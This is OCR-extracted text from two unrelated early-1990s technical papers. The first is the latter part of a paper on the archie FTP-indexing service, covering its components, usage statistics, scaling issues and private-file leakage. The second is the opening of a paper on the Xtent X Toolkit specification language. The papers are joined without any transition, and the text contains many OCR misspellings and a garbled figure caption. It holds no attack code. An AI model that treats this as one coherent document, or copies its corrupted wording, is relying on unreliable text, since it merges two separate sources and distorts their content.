in obtaining usable site listings we currently actively track only about 900 of these.

There are several problems we face in obtaining usable site listings from the DGC. The operating system used at
many sites do not allow the automatic generation of recursive site listings. For other sites (notably VMS-based sys­
tems) such a listing can be obtained but the format is different from that produced by the UNIX ls(1) command and
our current parser cannot handle these differences.

Although we still lack a suitable parser to convert raw site listings for any system except UNIX into a format suit­
able for the DMC, a parser for VMS has now been written and remains to be tested and installed in the prototype
system. It is our hope that such parsers will enter service with the next release of the archie system. This will allow
us to expand coverage to over 100 known non-UNIX archive sites for which we have entries in the Site Descrip­
tions database, but lack only a suitable parser. For other sites, we will need some way to substitute for the lack of a
recursive listing mechanism and do not anticipate covering such sites in the near future.

The DGC uses proactive data gathering to ensure the internal accuracy and consistency of the archie files database.
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By automating the data gathering step, we provide the database maintenance component with information that has
been verified to be accurate and in a suitable fonnal By periodically repeating this data gathering step we ensure
database accuracy over time.

4.2. Database Maintenance component
The DMC is responsible for verifying the consistency of the raw site listings files and converting them

into a format suitable for entry into the files database. This is currently done by three programs, each operating on
one site at a time (see Fig. 2).

The first program is the Site Listings Filter (SLF), which removes erroneous information (such as error messages
generated by the /s(1) command) from a raw site listing. The clean site listing is then passed to the Verify And
Enter Program (VAEP). The VAEP parses the clean listing file, rebuilding the directory hierarchy of the site in
memory to verify the listing's consistency.
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Figure 2: Database Maintenance Component

Once the directory structure is verified to be correct, the VAEP scans the tree, inserting the information into the
archie files database. If the verification step fails, the update aborts and the operator is notified.

There is no attempt made to allow partial insertions or updates to a site listing. Given the dedicated format used for
the files database and the problems that would have been encountered in maintaining consistency while processing
updates on an active database, it was decided that writing and debugging the needed code was not worth the effort.
Instead, a site's entries are all deleted using a separate delete program before running the VAEP for that site. Any
entries that remain unchanged are simply re-inserted.

Although this approach makes the VAEP (and thus site updates) computationally expensive to perform, it also
makes implementation easier and allowed us to get the new system up and running that much faster.

As with many other parts of archie, the lack of resources (especially time for development) was a major factor
influencing our design decisions. In this case we have traded runtime resources needed to perform deletion and re­
insertion for ease of implementation and maintenance. In practice, it is a decision that only archie site administra­
tors have regretted.

A new database format has been designed for the next version of archie and these design decisions are being re­
examined.

4.3. User Access component
The UAC allows individual Internet users to access and query the various archie databases using a

number of access methods or channels. These include lelnel(1), electronic mail, or through the Prospero File Sys­
tem protocol. Work is also underway by others to make the archie databases available directly through the WAfS
and WWW systems. Collaboration with other projects is welcomed.

4.3.1. Telnet Command Interpreter
The first user interface channel to the archie databases was provided by a simple command line inter-
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preter, a version of which runs on each archie server. Access to this Telnet Command Interpreter (TCI) is through
the teinet(1) command, which is assumed to be available on most Internet,connected sites.

The original TCI was nothing more than a simple C program that allowed users to specify arguments to the UNIX
regex(3) command that in turn was used to search through the raw listings files. This version of the TCI was very
slow and no more than 20 simultaneous logins could be attempted before the system (at that point a Sun 41280)
was overloaded.

Once the decision was made to continue with development of the archie project, this version was replaced by a
more functional version of the TCI written in C and using the dedicated files database formal This version was
first brought into service in December, 1990 and continues in service (with updates and improvements) to the
present.

The TCI provides the full functionality of the archie system using a simple (and relatively primitive) interface.
Users can specify searches in either of the available databases or access information about each site. There is also
access to an email interface to have either search results or the archie manual page sent back via email. Users can
also access on-line help, list available archie servers or manipulate a number of variables that are used to control
operation.

In operation, the TCI has proved to be a serious resource drain under high load. Each archie telnet session requires
a copy of the command interpreter to be launched, and each instantiation requires a large number of open files to
access the various components of the databases, along with significant amounts of other machine resources (such
as core memory, swap space, etc.).

Each instantiation of the TCI accesses the single copy of the archie files database. This database is large (currently
over 110 Megabytes) and the current version of the access routines maps the appropriate files into memory using
the SunOS mmap(2) call to improve performance (a corresponding functionality is used in the latest servers, which
operate on the IBM RS-6000 class machines). This allows reaSonable response time but, an archie server will ben­
efit from all the RAM its owners can provide.

As the popularity of archie has grew, it was not uncommon to see over 40 simultaneous telnet sessions, at which
point the server would become almost unusable.

To address these problems, a limit has been placed on the number of simultaneous archie login sessions at the pilot
Montreal server. This was done after a client-server access model became available with the arrival of the Prospero
user interface (see below). Since this was done total system throughput (as measured in the number of file database
searches per day) has gone up, since the Prospero interface is far less resource intensive.

There are plans to rewrite the TCI so that it uses a client-server access model. The idea is to the have the current
TCI generate queries and send them to the Prospero interface using the UDP-based Prospero protocol. This would
address the problem of machine resources (only one set of open database file pointers would needed within the
Prospero interface, for example). It would also allow the teinet(1) interface to access other resource providers
(such as an archie WAIS interface) as they are developed.

4.3.2. The Email Interface Server
Historically, the Email Interface Server (EIS) was the second developed. Users can send in queries to the

archie databases via email to the EIS, which performs the specified search and returns the results in an email mes­
sage back to the user. The EIS is based in concept upon the KISS mail server package, available from a number of
archive sites.

Functionality of the email interface has always lagged behind that of the TCI. For example, the email interface
does not currently support the ability (present in the Tel) to set variables to control system operation. Rationaliz­
ing the various user interface channels to permit a consistent view and full functionality through all mechanisms is
yet another item that we have appended to the list of things to be addressed as time permits.

Although the archie system itself is not capable of performing an anonymous FrP transfer for users of the email
interface, there is a system operated by Digital Equipment Corporation that will perform such fetches via email.
Details on both the archie email interface and the DEC email anonymous FTP services can be obtained by sending
an email message to archie@archie.mcgill.ca with the word "help" in either the subject or message body.
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Total number of sites known

Total number of sites indexed

Total number of files referenced

Total number of unique filenames

Total size of referenced files

Average file size

Average number files/site

Average archive size

archie database size

1025

886

1,502,976

686,104

91,897,324,072 bytes

61143.6 bytes

1696.4

103,721,585 bytes

120,030,000 bytes

Emtage, Deutsch

Table 1: archie.mcgill.ca statistics (as of Oct 30, 1991)

Austria Germany Peru

Australia Greece Poland

Belgium HongKong Portugal

Brazil Hungary Saudi Arabia

Canada Iceland Singapore

Chile India South Africa

Columbia Ireland Soviet Union

Costa Rica Israel Spain

Cyprus Italy Sweden

Czechoslovakia Japan Switzerland

Denmark Korea Tiawan

Ecuador Malaysia Turkey

Egypt Mexico United Kingdom

Estonia Netherlands United States

Finland New Zealand Yugoslavia

France Norway

Table 2: Countries which have accessed archie
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4.3.3. The Prospero Interface Server
In early June, 1991 we entered into a successful collaboration with Clifford Neuman of lSI, when he

ported his Prospero file server to the archie system, giving us the archie Prospero Interface Server (PIS).

The PIS allows users of the Prospero system to access the archie files and whatis databases through the Prospero
server without the need to log onto the archie server directly.

The ProsPero system uses a UDP-based protocol that is far less resource intensive than the felnef(1) client. The
server architecture also allows the use of sophisticated scheduling algorithms for selecting queries to be performed.
This is useful because the different types of available searches have widely varying impacts on system perform­
ance. For example, exact match searches can be performed in O(I) time, while full regular expression matches take
approximately O(n), where n is the number of unique strings in the database (there is also some dependency on the
length of the strings). In operation, the PIS query scheduler will give preference to exact match requests to maxi­
mize throughput.

The PIS also caches some of the most common queries. Such queries can be satisfied in O(1) time, further improv­
ing response time. The use of the PIS also requires only a single set of system resources, such as open file pointers,
etc.

The existence of the Prospero archie server has spurred the development of a number of stand-alone archie client
programs based upon the Prospero protocol. These now include a command line version (one that runs on the
user's machine, not the archie server), an X version, as well a~ others. These programs are now available to users
from a number of Intemet archives, including the anonymous archive on archie.mcgill.ca itself.

4.4. Future Work on the User Interface
Neuman continues to work with us on improving the Prospero archie interface and we have elected to

standardize our current client-server efforts for accessing the files database via this method. Steps must still be
taken to extend the full functionality of the TCI interface to the Prospero server and this is planned.

The work on the Prospero interface has been followed by recent efforts by Brewster Kahle of Thinking Machines
Inc., who has been.investigating the possibility of making the archie databases available through the WAIS system.
Initially, the information in the archie files database has simply been reformatted into a single huge text file and
then indexed using a WAIS server.

Although this does make the information available, it is very resource intensive and presents problems with updat­
ing (whenever the database is modified the index must be regenerated). Thus, each archie database update is poten­
tially a very CPU-intensive operation. Adequately addressing this problem is the subject of on-going research.

In the long term we would like to create a WAIS server for the archie system to permit a complete WAIS interface
to the databases. We also plan to add a number of additional databases and are investigating the possibility of using
WAIS as our search and retrieval engine for accessing them. ~10st of our planned offerings will take the form of
large textual databases, which make them ideal candidates for the WAIS system.

5. Implementation and Operational Issues
The archie service has now been in use on the Internet for over a year, with widespread availability since

December, 1990. Table 1 lists some basic information about the number of files and sites tracked by the archie
service (as of November, 1991).

The McGill University archie server has performed well over 1,200,000 searches to date (as of November, 1991)
and is currently receiving about 3,500 search queries per day. We have now received queries from at least 48 coun­
tries, including every continent except (perhaps) Antarctica (some of these countries are not directly connected to
the Internet and have so far generated queries only via email queries to the EIS).

There were a number implementation and operational issues that we have examined in the first year and a half of
work on the system. Some of these will be outlined here.

5.1. Instrumenting archie
We have only recently begun to investigate the kind of work to which people are putting the archie serv­

ice. Given the demands on our time in getting the initial service up and running, and the effort required to keep
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ahead of the continually growing demand. we have had little time or thought to give to the question of designing
suitable instrumentation or even as to what would be suitable measurements to perform. We have now started to
address this.

We do have some basic connectivity information. Table 2 lists the countries we have identified from which users
have generated EIS queries. This is regarded as a minimum list, since it is sometimes difficult to identify the coun­
try of origin. There may also have been countries that have accessed archie only through the TIC, but unfortu­
nately because of the limited length of the associated field in the letdutmp file, telnetd(8) logging on the system
truncates long site names, causing us to lose needed identifying information.

Graph 1 shows the growth in the weekly average number of logins to the TIC over the period December, 1990 to·
August, 1991. We have determined that on average, each such login has generated an average of 1.6 files database
search queries per session.

We observe a flattening of growth in recent months on this graph which we believe is due primarily to the fact that
we have saturated the capability of the existing archie server (currentJy a borrowed Sun SPARC 1+, supplied cour­
tesy of the McGill School of Computer Science).

There have also been additional archie servers which have come on-line over this period. However. we continue to
receive roughly the same numbers of logins during the most recent survey period as we received prior to the com­
missioning of the latest server at SURAnet and thus feel confident that our primary problems are in the power of
our hardware, and not in a slackening in demand.

Although survey figures from the other archie servers have not been available to us, higher throughput than expe­
rienced on the Montreal server has already been observed on the newer SURAnet archie server, which runs on an
IBM RS/6000 model 530. Unfortunately, that server has not been in operation long enough to supply figures for a
meaningful period.

Graph 2 shows the growth in files database queries through the EIS. We note that the number ofemail queries con­
tinued to grow as the machine became more saturated. We attribute this to users turning to the EIS to run their
searches in the background as connectivity and response deteriorated under load. This demand peaked just before
the arrival of the SURAnet archie, and has since remained stable at about 300 email requests a day.

Note that the time scale for these two graphs is not identical. This is due to the fact that a number of log files for the
TIC were not preserved.

Unfortunately, we also do not have complete statistics for the Prospero interface, although the numbers we do have
show a current average of about 1,300 queries per day as of November, 1991, with a significant growth in this traf­
fic as the choice of Prospero client programs has grown. This was only to be expected. SURAnet staff report that
they are currently server over 5,000 Prospero queries per day at their site.

5.1.1. Other useful numbers we could be gathering
There are a number of things we could monitor using the existing system that might be of interest, espe­

cially to operators of archive sites or those concerned with implementing mirroring strategies to reduce link load.

These could include:

• What kinds ofthings are people looking for?

• What are they finding?

• Where are they finding it?

Information such as this could also be used to reduce the unnecessary storage of stale or out of date information.

5.2. Scalability problems and how we address them
There have been a number of concerns expressed about scalability problems in the context of distributed

Internet resource providers, and a lot of work has been done to implement distributed systems for such applications
(one notable example is DNS). We believe that archie has demonstrated the feasibility, and even desirability in cer­
tain applications, of "brute forcen approaches that instead attempt the collation and serving of large databases.

This is not to say that we advocate using an archie-like server for an application such as DNS. At issue are the rel­
ative costs of gathering the data and satisfying user queries. In DNS the client may be required to make several
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queries in sequence to a number of distributed DNS servers to resolve a fully qualified domain name, but each
query is relatively inexpensive (a single packet per query and 0(1) access for each query) and thus can be resolved
in a reasonable time.

In the case of an archive site indexing service, each query of an anonymous FrP site can be relatively expensive
(in both network traffic and search time) and the task of searching all suitable sites for a single query could easily
involve some 1,000 searches. In addition, there remains the unresolved resource discovery problem of locating all
those servers, given that we still lack a suitable Resource Name Service architecture for the Internet.

In this example, gathering and collating the information into a central site, optimizing the search and retrieval
functions and centralizing the site registration and maintenance functions appears to be the most suitable approach.
We have demonstrated that it is also feasible in practice.

We foresee no problems in increasing the number of sites and files tracked by archie by an order of magnitude,
assuming a more powerful server is available. Further, we anticipate that a measure of specialization and structur­
ing of multiple archie servers, plus the provision of a workable Resource Name Service, would allow us to handle
anticipated growth for the foreseeable future in this type of application.

5.3. Concurrency and Loading Issues with Multiple archie Servers
There are a number of unresolved issues involved in the operation of multiple archie servers in an

extended Internet environment. Ideally users of such a network would not have to be aware of the underlying net­
work topology (after all, few users of the telephone system know anything about the technology of cross-country
phone trunks). In practice, the existing Internet network topology still seriously affects operations such as archie,
bringing it to the attention of users.

As a simple example of this, the Montreal archie server is connected to the U.S. Internet T3 backbone via a single
112 Kb link to the United States. Although the archie maintenance traffic needed to perform the basic site listing
updates is fairly modest (on the order of a few Megabytes per day), we have been informed by CA*net operations
staff (the Canadian national network operators) that traffic to and from the archie server now makes up some 50
percent of all Montr6al-bound Internet traffic.

This traffic is generated by other archie sites mirroring or copying our raw site listings files and by the huge vol­
ume of archie user traffic. This is a significant load on a circuit that is frequently saturated and raises concerns
about the survival of volunteer services such as ours.

Since the service generates no funding to pay for line upgrades, we are thus forced to consider mechanisms to
reduce traffic to the Montr6al site. Schemes we are currently investigating include organizing an "updating topol­
ogy" that will involve transferring responsibility for the accurate gathering of site listings to other archie sites, then
having sites mirror off of these more favourably connected sites in the U.S. This does move responsibility for a pri­
mary part of the archie system away from its implementors and principal supporters, so this approach does cause
us some concern, but we continue to investigate the issue.

Another idea we are investigating is to perhaps implement some form of zone system, in which different archie
servers would be authoritative for different sites. Each archie would then mirror the raw files for which it is respon­
sible to the other archie servers, with multiple sites across a slow link (notably the multiple archies now in Europe
on the other side of a saturated link to North America) sharing a single mirror feed with a local explosion.

All of this discussion of organizing an extended archie service implies a level of design and operational support
that is perhaps impossible to realize in a volunteer service such as ours. From our initial attempts at finding support
we suspect that addressing such non-technical issues as funding and donation of resources will perhaps be more
difficult than designing and operating the service itself.

5.4. Archive Administrators' Errors
The archie system allows us to come into contact with a large number of archive sites, and thus we have

been exposed to a number of operating practices that have caused problems, either for us or ordinary users of the
site.

Here's a representative sample:

• File names with bizarre characters or strange names
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These range from the obvious, such as control characters, to the unbelievable such as those with embed­
ded newlines.

• The problems ofentropy at volunteer archive sites.

A number of anonymous archive sites are run simply as a labour of love by local site administrators, and
when such administrators move on or succumb to the demands of their "real" work, their archives begin the slide
into disorder. "ls-IRu files become out of date or corrupted, the structure of the file hierarchy degenerates, with
locked directories, unresolvable links and other problems that make obtaining accurate site listings difficult or
impossible. We would encourage site administrators to not be too ambitious with their contents. Ifa popular pack­
age is already available at a number of other sites perhaps you can forgo storing it locally and devote that space to
information or other data unique to your site. Perhaps there will be more incentive to keep such information cur­
rent.

• Compatibility problems

This item could be subtitled "how to minimize the impact of 900 volunteer site administrators on a production
indexing system". There is still no standard for naming directories and ordering the contents of an anonymous FfP
archive and this shows in the wide range of naming conventions and structures we observe on the Internet. The
authors have recently inaugurated the Internet Anonymous FTP Archives Working Group (lAFA-WG) under the
auspices of the Internet Engineering Task Force. One of the mandates of this group is to examine such issues, with
a goal ofpreparing a "Recommended Operating Procedures" document for site administrators. More details on this
working group are available by sending email toiafa-request@cc.mcgill.ca.

5.5. Users' Errors
It is our understanding that the original purpose behind of the anonymous FrP convention was to allow

the public sharing of information among the Internet community without the need to grant generalized access to
the sharing site's system.

Over time a number of users have elected to distribute private infonnation via this mechanism, perhaps because it
is easy and the possibility of detection was remote. Thus private files are left for brief periods in anonymous FfP
directories for retrieval by others, even though the contents of such files is not intended for public consumption.

In the past this practice could be expected to be reasonably secure, since the very existence of the archive site was
often shrouded in mystery and there was little chance, short of continuously logging on to hundreds of sites, of
spotting such files as they transit a site.

We have now received documented evidence of a number of cases where users who have tried this practice are
now finding out that archie has exposed their files and information has leaked out to others. This is not to say that
such leaks did not occur before the arrival of archie (we also know of such cases in which archie was not
involved) but the number of such leaks does appear to have risen.

We harbour some concerns that archie could be used to abuse the use of anonymous FrP in this way, but we cur­
rently believe that at least in the cases of which we are aware, archie functions merely as a catalyst, allowing such
leaks to occur much more frequently, without actually being the cause of such leaks.

In the case of leaking private files in this manner, we feel that the basic error is in attempting to distribute private
information using public channels. We encourage users who engage in this practice to either consider the use of
password-protected FrP user codes or encryption of the distributed information to protect the contents of private
file from unwanted view. Of course, we will also remove any site from archie at the request of the site administra­
tors.

5.6. Problems with the Current Implementation
We conclude with a brief overview of the known problems and shortcomings we have identified with the

current implementation of archie. Some of these are addressed in the version 3.0 release of archie (tentatively
planned for the end of the first quarter, 1992, provided resources and time can be made available). Others are
addressed in the so-called "son of archie", which is our architecture for a follow-on to the archie system that
addresses more completely the more basic issues of resource discovery and delivery, including the need to provide
the facility to document, index and search on meta-level description information.
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• File names not always good indicator offile contents.

Although when searching for a package it is usually enough to specify the name of the desired file, in
many cases users would like to search on a more loosely defined notion of information. At the same time, many
people still choose file names that do not accurately reflect the contents of the file. This leads us to the following
item.

• Additional description info171Ultion is needed.

This is a generalization of the canonical archive site administrators' problem, in which files are renamed,
version control information is unavailable or lost, and so on. The solution is to provide a generalized mechanism to
include descriptions and package information.

To address this, our follow-on architecture will have a method of including a brief description for each file at an
archive site into an archie database. This will allow users to search for a package description, also allowing them to
obtain information without having to copy the file to their site, possibly unpacking a set of files, etc.

• whatis database not "authoritative".

This must be addressed by automating the registration and updating of entries in the whatis database.

• No mechanismfor automatically registering new sites.

The new system would include a Resource Name System, that permits automatic registration of new sites.

• Bener interfaces needed

Some work in this area has already been done. There is now a reasonable X implementation ofa Prospero
client, but there is definitely need for better information discovery and access clients for the Internet. Existing tools
all assume and require a significant knowledge of the Internet and this must be addressed as more naIve computer
users come on-line.

• Incompletefunctionality in the Prospero interface.

The PIS still lacks certain functionality found in the TCI. We plan to work with Clifford Neuman to add
this functionality to allow further expansion of the client-server model.

The TCI should also be rewritten to use the Prospero server as appropriate.

• Interface to large text databases needed (WAIS?)

This will be needed if we are to provide the multiple automatically updated databases that we would like
to see. WAIS is our prime target for this functionality, but other projects (such as WWW and even X.500) should
also be investigated with an eye to integrating the archie information into their world view, and perhaps offering
their functionality through an archie-like server.

• Maintaining cQnsistency across multiple archies

As mentioned, there is work to be done to better ensure that all general purpose archies return similar
responses to the same query. The alternative is that users will use only a small subset of the available servers.

6. Future Work
Work has now begun through the IAFA-WG of the IETF to document a standard method for encoding

text description information at each archive site. Once this work is complete it is anticipated that the archie servers
will gather and index such information automatically, using an expanded selection of whatis-like databases. Such
databases could include at least basic archive site descriptions, archive access policies and annotated software
package descripti~ns. Additional automatically maintained databases are planned for such regularly changing sub­
ject categories as an annotated list of mailing lists, available on-line library catalogue systems, and Frequently
Asked Questions compilations from Usenet. It is our belief that basically any changing collection of popular data is
a candidate for inclusion in an archie-like indexed database.

In a certain sense, the archie system now acts as an unofficial registry of anonymous FfP sites, but we believe that
such a registry should not be left to the mercies of a volunteer service such as ours. Thus, a long term goal of the
archie group is to develop a "Resource Name Service" and see it deployed on the Internet. Such a service, analo­
gous to the Domain Name Service would permit automatic registration and location of Internet service providers
and would track not just archive sites, but archie servers, news servers, on-line library catalogues and any other
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useful services that can be accessed on the net.

Such a system, when deployed, will allow user software to automatically discover the existence such service pro­
viders and would thus open the way for the development of generalized information discovery tools that do 'not
require an intimate knowledge of the network to. One possible architecture for such a service is under development
as part of our archie follow-on work.

We would welcome contact from other groups working on information discovery or delivery tools. We would be
happy to provide assistance in porting servers to our service to allow the archie databases to be made available in
other environments.

7. Miscellaneous Information
The initial archie service was offered by the authors in cooperation with the McGill University School of

Computer Science. At the time this paper was prepared, archie servers were available from archie.mcgill.ca,
archie.funet.li, archie.au, archie.sura.net and archie.ans.net. Additional servers are available to local users only
in New Zealand, Japan, Israel and Great Britain. Additional servers are coming on-line in the near future, so we
recommend that you use the servers command (available through either the Ie/net(1) or email interfaces) to obtain
an up-to-date list of active servers.

Code to the archie system is not in the public domain, but we have made it available where appropriate, to further
the development of the archie system or to promote other research projects. Anyone who believes that their work
would benefit from access to the archie databases or other components of the system is invited to contact the
authors to discuss collaborative projects.

It should be noted that the name archie is not capitalized, and in no way is connected with the popular comic book
character or with any television personalities. It is, in fact, derived from the word archive.

8. Availability
Readers wishing to try the archie system, can telnet(1) to archie.mcgill.ca and login as user" archie" (no

password required). Type 'help' for a full explanation of available commands. Additional documentation can be
retrieved via anonymous FfP from the same host in the archie/doc directory. archie client program sources are
available in archie/doc
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Abstract

This paper describes a small language and IPC protocol that can be used for specifying UNIX
style, X Toolkit based, graphics software tools. The language is unusual in that it integrates the X
Toolkit widget world and the UNIX philosophy of creating applications from collections of small
reusable filters. Filters can be constructed from old Xt based graphics processes or specified
directly in the small language. The system is based on an easily reproducible macro interpreter
and IPC system that can be used with any collection of widgets. A multi-process application
builder constructed with the system is used as an example of how the software tools philosophy
can be effectively used to construct graphics applications. We present data on the use of the
system by both research organizations and development groups.

1. Introduction

We have taken a "software tools" approach to writing graphics applications. By this statement we want to
emphasize that we produce applications from collections of reusable processes. In implementing this approach we
were faced with two problems. First we had to actually write the reusable processes. It is well known that writing
graphics applications is a very labor intensive task. To get over this "startup hurdle" we have created an executable
specification system that allows us to quickly produce X Toolkit (Xt)/widget[ 1,2] based applications. Unlike other
specification systems, ours does not limit applications to a subset of Xt functionality. Any program that can be
written using Xt and widget libraries can be specified with our system.

The second problem we faced in our graphics software tools environment was what to use as a common protocol for
controlling these collections of processes. Ideally a protocol should be terse, efficient, reliable, and extensible.
Adding "extensible" to the list usually breaks the other constraints. The protocol we have selected is that of a
macro interpreter modeled around the syntax of X resource files. Values stored in the per process resource database
and resource values in widgets can be manipulated as strings. As the protocol is embodied in a simple programming
language, expressions can be sent to be evaluated in the context of the remote graphics process. Similarly, functions
can be down loaded into a process to reduce the need for distributing large quantities of data.

Specification systems and protocols abound. What makes this specification system and this protocol somewhat
unique is that they are both based on the same simple language. We call the language Xtent. This common
language approach allows us to incrementally or interactively develop Xt applications as well as query and

* X Toolkit (Xt) and X Window System are trademarks of the Massachusetts Institute of Technology.

** UNIX is a trademark of USL.
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arbitrarily modify the state of running applications. As the system is based on a distributed protocol, we only need
to port the interprocess communication library to provide application interfaces to other languages. With Lisp, for
example, we send Xtent specifications to the Xt processes and return Lisp. We do not have to rewrite the widget and
Xt libraries in Lisp. The language provided by Xtent seems to be a good mix of the declarative, specification based
style and a traditional small programming language.

Xtent is a simple system that
takes advantage of the X resource
manager and the huge body of X
Toolkit code and widgets. The X
resource manager is a simple, in •

::~~, th:~e{:alu:sed P:~~ . :... . . ,._'

specifying widget parameters.
Widgets are interface objects that
are built using the X Toolkit.
Widgets are controlled from
application programs via set and
get style, C based, messaging
interface. The combination of
simple database and object
system is a powerful one. Xtent
adds a thin layer to this that adds
distribution (IPC) and a simple Figure 1. Xtent based applications.
specification interpreter. The
syntax of Xtent specifications is based on that of X resources, which helps to integrate the system both
architecturally and in terms of acceptance by the X community.

In our research program, we have been creating applications using this technology for over two years. Applications
built around the software tools notions scale well to serious projects. We have just completed an application builder
and our system has been used by development groups around AT&T. We were most pleased with one large project
that moved to our technology when they releaized that they could not afford a lengthy development process. Their
original schedule called for 2 years and 75 people. Using our software tools techniques the project was delivered in
9 months with 20 full time people.

There are, of course, many other systems that have approached the same graphics application development
problems. And in the last year we have seen two new systems emerge that use techniques similar to ours. Tcl[3]
has struck out on its own, essentially ignoring the growing body of Xt source and Xt trained developers. Wcl[4] has
followed Xt, but has put an extra layer of interface on top of a "subset'ed" Xt library. UIL[S], the OSF user
interface language, allows applications to specify widgets' and their parameters in a language somewhat like C++[6].
UIL is not a language per sea All semantic actions are coded in some other language, usually C. Worst of all, UIL,
in our opinion, continues the trend toward the construction of monolithic graphics applications.

In contrast to the other systems that have emerged, Xtent allows complete access to all of the features in Xt and
allows developers to freely choose between widgets and widget sets[7,8,9,10]. The Xtent IPC mechanism allows
existing Xt based programs to be bundled (by adding two lines of C code) in with newly created Xtent scripts. The
Xtent IPC mechanism encourages reuse and allows developers to create small/modular reusable processes.

The majority of the paper will be used to describe our specification language. We will close the paper with a
description of how we built our application builder using the software tools techniques that Xtent encourages. The
application builder is a set of cooperating, Xtent based, processes that produce Xtent code. First we will provide a
bit more detail on how Xtent works.
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2. Xtent as a Simple Language and IPC Protocol

As we mentioned above, the syntax of Xtent is based on the X resource file format. Our intent in writing Xtent was
to produce a complete system in terms of coverage of Xt while doing as little damage as possible to the syntax and
semantics of X resources. Most X users are familiar with the syntax and semantics of resource files. In Xtent,
resource lines are treated as if they had been entered by xrdb or a defaults file. This constrains the sorts of
expressions that can be used in the system, but can be viewed as a feature in that the parsing is very simple and fast,
and resource files are portable across machine architectures. This architecture independence is critical for our
multi-processor applications. The X resource file syntax seems to be a good one for our purposes.

The Xtent system can be used in three forms: a stand alone specification interpreter, a subroutine package for
specifying widgets, and/or as a subroutine package for use as a protocol converter. The most popular use of Xtent is
as a stand alone specification interpreter. The examples that decorate this paper were produced with the interpreter.
The interpreter can be used in concert with other programs via the IPC mechanisms. When used as a library, Xtent
may be used as a specification system for creating widgets or as an IPC protocol handler. When used as a
specification system, applications use Xtent to handle the drudgery of manipulating widgets. Once the widgets are
created, C functions may be used for callbacks and other application specific processing. Xtent and C coexist well
together. As a protocol handler, Xtent may be added to existing applications so that the applications may be more
easily reused. We will cover these three uses in more detail in the paper.

Unfortunately there is no hard and fast definition for specification systems. Generally they are systems that allow for
applications to be described at a higher level of abstraction and/or faster than would normally occur by directly
programming them. Specification systems usually have a declarative rather than procedural style. Specification
systems are usually based in something that could be called a language, albeit usually one lacking for doing
traditional programming.

2.1 Using X Resources for Function Call Based Specifications

X resource files meet the declarative and high level criteria for a specification language. X resource files are in fact
at a much higher level of abstraction than the equivalent C code. The following piece of resource code is a good
example:

*font: 6x13B

This line will result in the font 6x13B being used wherever a font is required, but not explicitly specified (within
Xt/widget based applications). Of course, this sort of parameterization is inherently declarative.

The resource mechanism is definitely limited in terms of its use as a programming language. We mean this to be
humorous, as resource files are not used by the majority of the X community for anything other than specifying
parameters. The parameterization, however, has a simple object-oriented style that can be extended for
programming. ConSIder the following line:

xtent.allowShellResize: True

This line allows the toplevel window (actually shell widget) to be resized when it is required by the application. The
sense of the line is to set a variable, allowShellResize, associated with the application xtent to True.
Notice that this implies that the string True will be converted to an appropriate type. In object-oriented terms, one
could also say, that the allowShellResize procedure associated with the object xtent is called with or sent
~~~T~. .

This object/message notion can also be written in a style more closely matching that of C++:

object.procedure: message (or arguments)

Using this syntax and semantics we have added all of the procedures required to do Xt level specifications (and then
some). XtCreateManagedWidget (), one of the functions used to create widgets, might be used in
applications as follows:
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xtent.Hello.XtCreateManagedWidget: pushButton

Blewett, Anderson, •••

The line causes a widget with the name "Hello" to be created. The parent widget is the toplevel widget for the
xtent application. The widget class is pushButton. The C interface to the X toolkit (Xt) uses the following
function call to create the widget.

Hello = XtCreateManagedWidget ("Hello",
XwpushButtonWidgetClass,
parent,
args, arg_count)i

The C based XtCreateManagedWidget () interface has four more parameters. Using the Xtent format, the
name is given on the left hand or object side of the expression. As widget names are hierarchical*, the parent name
is included in the widget name, and so it does not have to be provided. In the C version, the args array is for
setting widget resources. The standard X widget resource mechanism handles that for us. On a function by function
basis, Xtent can be argued to be conceptually simpler thait using Xt directly. .

As an aside, the one line Xtent entry above is all that is required to specify a complete (one widget) Xt program.
The same program written directly in C using the X toolkit takes about a page and a half of code[ll]. Using X alone
takes 5 or 6 pages. After the widget has been created by the one line above, the two applications run at the same
speed. This is because Xt programs run from a data structure, not unlike a display list.

Some Xt functions require more than one argument. In those cases Xtent uses a syntax that is similar to that used by
C.

xtent.image.XtTranslateCoords: (25, 33, x, y)

The line above calls the function XtTranslateCoords () for the widget xtent. image. It has four
arguments. The line above is used to translate widget specific coordinates into display specific coordinates.
XtTranslateCoords always takes four arguments. However, some functions, for example XtGetValues
take a variable number of arguments. These VARARGS style functions are handled as they are in C. Arguments are
simply added by separating the arguments by commas.

2.2 Variables in Resource Files

In all X widget based programs, there are two sets of data that can loosely be called databases. These are the per
process resource database and the values associated with the widgets in the process. The per process resource
database is the amalgam of four sources: the resources placed on the .root window with xrdb, input from application
specific resource files, -xrm command line options, and application specified resources. Input from these sources
is applied in the same order as we have listed them. As with any real database the last entry overrides all previous
entries.

The other database in each process is composed of the values associated with the widgets. Each widget class has
variables associated with it. These variables are created for each widget instance. The variables are called widget
resources. Widget resources are nonnally set and retrieved with the C functions XtSetValues () and
XtGetValues (). This interface is the essential element in the object-oriented applications interface to widgets.

Accessing variables in the resource database and widget resources can be somewhat tedious from C based
applications. To retrieve a variable from a widget, an application must setup an argument block, call
XtGetValues () with a pointer to the correct value type, and then convert the returned value (if any) to the
required type.

• The widgets in Xt applications fonn a tree-like data structure. The toplevel or shell widgets have child widgets. which may also have children.
A pushbutton widget. within a fonn widget. within the toplevel xtent widget might be specified by the following string.
xtent.form.button.

114 USENIX - Winter '92



Blewett, Anderson, ••• X Widget Based Software •••

Xtent allows applications to access variables in the two databases by name and work with the values as simple
strings. Values in the resource database can be accessed with ~ (resource-name).

xtent.XtWritelmage: (~(image-name), ~ (outputfile),\
postscript)

The line above writes an image to an output file in PostScript format. The name of the image is retrieved from the
resource variable image-name and the output file name is retrieved from outputfile. Notice that the string
"postscript" does not require any quoting. All objects in Xtent are treated as a strings.

Resource values in widgets can be accessed with ~ {widget. resource-name} .

xtent.form.in.XtWarpPointer: (~{xtent.form.in.width},\

~{xtent.form.in.height})

The line above moves (i.e. warps) the mouse pointer to the lower right hand comer of the widget,
xtent. form. in. This is done by setting the cursor position to the width and height of the widget. Xtent handles
all coercion of types to and from strings. This would take 5 or 10 lines of C to perform this same function.

2.3 Flow of Control

Xtent has the usual set of control flow operations found in small shell like languages: if, case, iterate, while, and
foreach. As all Xtent operations are functions, the syntax is fairly simple and exceedingly easy to parse. The
following if is a good example.

xtent.Xtlf: (==, X~(xtent.font)X, XX, *font:fixed)

The if tests if xtent. font is equal to the null string. If it is then X~ (xtent . font) Xwill macro expand to
XX and the string *font: fixed will be executed. In this case, this will result in a value for *font being
entered into the resource database. If an else clause is required, it is entered as the next comma separated
argument.

2.4 Data as Program

